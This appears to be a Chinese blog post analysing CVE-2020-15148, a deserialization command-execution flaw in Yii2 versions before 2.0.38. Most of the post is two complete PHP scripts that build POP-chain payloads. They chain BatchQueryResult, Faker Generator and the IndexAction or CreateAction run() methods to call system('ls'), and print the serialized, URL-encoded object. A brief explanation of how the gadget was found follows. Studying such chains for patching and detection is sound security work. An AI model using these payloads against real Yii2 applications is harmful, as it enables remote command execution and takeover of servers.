[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执⾏⽂章⽬录
写在前⾯
最近倒是不知道⼲些啥,有点迷茫的状态,不过每天都保持学习就好了,今天空下来了准备写⼀篇刚学的POP链分析POP链1
<?php
namespace yii\db;
namespace是干嘛的class BatchQueryResult extends\yii\base\BaseObject{
private$_dataReader;
public function__construct()
{
$this->_dataReader=new\Faker\Generator();
}
}
namespace yii\base;
class BaseObject{
}
namespace yii\rest;
class Action{
public$checkAccess='system';
public$id='ls';
}
class IndexAction extends Action{
}
namespace Faker;
class Generator{
protected$formatters=array();
public function__construct()
{
$this->formatters['close']=[(new\yii\rest\IndexAction()),"run"];
}
}
use\yii\db\BatchQueryResult;
$c=new BatchQueryResult();
print(urlencode(serialize($c)));
POP链2
差不多的换了个地⽅罢了
<?php
namespace yii\db;
class BatchQueryResult extends\yii\base\BaseObject{
private$_dataReader;
public function__construct()
{
$this->_dataReader=new\Faker\Generator();
}
}
namespace yii\base;
class BaseObject{
}
namespace yii\rest;
class Action{
public$checkAccess='system';
public$id='ls';
}
class CreateAction extends Action{
}
namespace Faker;
class Generator{
protected$formatters=array();
public function__construct()
{
$this->formatters['close']=[(new\yii\rest\CreateAction()),"run"];
}
}
use\yii\db\BatchQueryResult;
$c=new BatchQueryResult();
print(urlencode(serialize($c)));
分析
$this->formatters['close']=["xxxxx"];
注意$arguments为空,是从yii\db\BatchQueryResult::reset()⾥传过来的,参数不可控,所以我们只能去寻不带参数地去调⽤别的类中的⽅法。全局搜索call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
发现这⾥有两个符合条件的yii\rest\CreateAction::run()和yii\rest\IndexAction::run(),其实这两个利⽤⽅法⼀模⼀样
看了下其他类也没法利⽤,我们以CreateAction为例,能看到这⾥直接是⽆过滤的,接下来⼲嘛不解释了
分析完毕

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。